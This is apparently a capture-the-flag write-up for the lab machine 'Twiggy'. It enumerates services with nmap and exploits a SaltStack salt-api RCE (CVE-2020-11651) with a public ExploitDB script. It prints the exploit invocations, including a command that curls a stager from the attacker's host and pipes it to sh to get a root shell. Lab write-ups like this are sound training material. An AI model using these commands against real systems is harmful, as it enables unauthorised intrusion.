PG: Twiggy

Recon#

Nmap#

1

nmap -sC -sV -oN nmap/initial 192.168.192.62

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
53/tcp   open  domain
80/tcp   open  http    nginx 1.16.1
|_http-title: Home | Mezzanine
4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
8000/tcp open  http    nginx 1.16.1

Enumeration#

Port 80 - Mezzanine CMS#

A blog running Mezzanine CMS with an admin login page. No weak credentials, no version info exposed. Moving on.

Port 8000 - Salt API#

Sending a POST request to port 8000 reveals the service identity in the response headers:

The header shows salt-api/3000-1 running on CherryPy 5.6.0. SaltStack has well-known critical vulnerabilities.

Ports 4505/4506 - ZeroMQ#

These are SaltStack’s ZeroMQ message bus ports, confirming we’re dealing with a full Salt deployment.

Foothold#

SaltStack Salt API RCE (CVE-2020-11651)#

Found the exploit on ExploitDB.

First, validate RCE with a ping:

1
2
3
4
5

# Start tcpdump
sudo tcpdump -i tun0 icmp

# Test RCE
python3 ./exploit.py --master 192.168.192.62 --exec "ping 192.168.45.216"

Confirmed – we have code execution.

Getting a Shell via Empire#

The exploit behaves inconsistently with standard reverse shells, so I used PowerShell Empire (works on Linux targets too):

1. Launch Empire server & client
2. Create and start an HTTP listener

3. Generate a multi_bash stager and download the shell script
4. Serve it via Python HTTP server
5. Trigger via the Salt API exploit:

1
2

python3 ./exploit.py --master 192.168.192.62 \
  --exec "curl http://192.168.45.216:8000/java.sh | sh"

Agent calls back – we’re in as root. No privesc needed.

Proof#

local.txt: [redacted]
proof.txt: [redacted]

Key Takeaways#